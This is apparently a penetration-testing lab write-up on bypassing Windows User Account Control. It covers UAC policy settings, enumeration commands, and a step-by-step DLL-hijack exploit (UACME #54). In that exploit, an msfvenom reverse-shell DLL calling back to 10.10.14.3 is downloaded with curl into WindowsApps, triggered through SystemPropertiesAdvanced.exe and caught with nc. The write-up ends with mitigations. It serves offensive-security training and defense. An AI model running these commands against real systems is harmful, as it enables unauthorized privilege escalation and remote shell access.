Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Windows Privilege Escalation — User Account Control (UAC) Bypass

User Account Control (UAC) gates elevated activities behind a consent prompt. Processes run at different integrity levels, and only high-integrity processes can perform actions that could compromise the system. With UAC enabled, applications/tasks run under a standard, non-administrator token by default, even for members of the Administrators group, unless elevation is explicitly granted. UAC is a convenience feature intended to protect admins from unintended changes — it is not a security boundary, but it does add friction/noise that can slow an attacker down.

With Admin Approval Mode (AAM) enabled, admin accounts (other than the built-in RID 500 Administrator, which always runs high-integrity) are issued two access tokens at logon: a filtered standard-user token (used by default) and a full admin token (used only after elevation is approved). Since there is no command-line equivalent of the GUI consent prompt, offensive operators must bypass UAC to get commands running under the privileged token non-interactively.

UAC behavior is controlled by 10 Group Policy settings (secpol.msc locally, or pushed via GPO in AD):

Group Policy SettingRegistry KeyDefault
Admin Approval Mode for the built-in Administrator accountFilterAdministratorTokenDisabled
Allow UIAccess applications to prompt for elevation without the secure desktopEnableUIADesktopToggleDisabled
Behavior of the elevation prompt for administrators in AAMConsentPromptBehaviorAdminPrompt for consent (non-Windows binaries)
Behavior of the elevation prompt for standard usersConsentPromptBehaviorUserPrompt for credentials on secure desktop
Detect application installations and prompt for elevationEnableInstallerDetectionEnabled (home) / Disabled (enterprise)
Only elevate executables that are signed and validatedValidateAdminCodeSignaturesDisabled
Only elevate UIAccess applications installed in secure locationsEnableSecureUIAPathsEnabled
Run all administrators in Admin Approval ModeEnableLUAEnabled
Switch to the secure desktop when prompting for elevationPromptOnSecureDesktopEnabled
Virtualize file and registry write failures to per-user locationsEnableVirtualizationEnabled

Enumeration

Confirm current token/privileges and admin group membership:

C:\htb> whoami /user
C:\htb> net localgroup administrators
C:\htb> whoami /priv

Confirm UAC is enabled:

C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
EnableLUA    REG_DWORD    0x1

Check the prompt behavior for admins — 0x5 is the strictest (“Always Notify”) setting, with fewer known bypasses:

C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
ConsentPromptBehaviorAdmin    REG_DWORD    0x5

Identify the exact Windows build, since UAC bypasses are build-specific:

PS C:\htb> [environment]::OSVersion.Version

Cross-reference the build number against a Windows release table to find the version/codename, then check the UACME project for a matching bypass technique (it lists affected builds, method, and whether Microsoft patched it).

Exploitation — Auto-Elevate Binary + DLL Hijacking (UACME #54)

Windows ships “auto-elevating” trusted binaries that can gain high integrity without a prompt. The 32-bit SystemPropertiesAdvanced.exe (C:\Windows\SysWOW64\) attempts to load a non-existent srrstr.dll (normally used by System Restore). DLL search order falls back through PATH directories if the DLL isn’t found earlier, and the user-writable WindowsApps folder is on PATH:

PS C:\htb> cmd /c echo %PATH%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\

Planting a malicious srrstr.dll there causes it to load in the auto-elevated (high-integrity) context when the trusted binary runs.

  1. Generate the malicious DLL:
rnemeth@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
  1. Host and deliver it to the writable PATH directory on the target:
rnemeth@htb[/htb]$ sudo python3 -m http.server 8080
PS C:\htb> curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
  1. (Optional) validate the payload at standard-user integrity, then kill the test process:
C:\htb> rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
C:\htb> tasklist /svc | findstr "rundll32"
C:\htb> taskkill /PID <pid> /F
  1. Trigger the auto-elevating binary to load the planted DLL in a high-integrity context:
C:\htb> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
  1. Catch the elevated shell:
rnemeth@htb[/htb]$ nc -lvnp 8443

The returned shell’s whoami /priv shows additional enabled privileges (e.g. SeImpersonatePrivilege, SeCreateGlobalPrivilege) compared to the original standard-user token, confirming successful elevation.

Mitigations

  • Set ConsentPromptBehaviorAdmin to Always Notify (0x5) — reduces the pool of working bypass techniques.
  • Enable ValidateAdminCodeSignatures to block unsigned auto-elevating binaries.
  • Restrict write access to user-writable PATH directories (e.g. %LOCALAPPDATA%\Microsoft\WindowsApps).
  • Treat UAC as defense-in-depth, not a trust boundary — don’t rely on it alone to separate standard and admin activity.